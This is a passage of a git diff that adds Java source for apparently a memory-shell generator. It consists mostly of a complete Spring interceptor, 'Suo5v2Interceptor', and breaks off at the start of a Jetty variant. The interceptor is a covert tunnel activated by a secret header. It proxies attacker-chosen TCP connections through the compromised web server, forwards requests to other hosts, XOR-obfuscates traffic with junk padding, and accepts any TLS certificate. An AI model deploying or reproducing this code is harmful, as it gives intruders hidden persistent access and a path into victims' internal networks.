{ + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java new file mode 100644 index 00000000..2686e1e5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -0,0 +1,1189 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Interceptor() { + } + + public Suo5v2Interceptor(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Interceptor(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Interceptor().process(request, response); + return false; + } + } catch (Throwable ignored) { + } + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Interceptor(tunId, 1)).start(); + new Thread(new Suo5v2Interceptor(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java new file mode 100644 index 00000000..daf1c4b4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -0,0 +1,1188 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 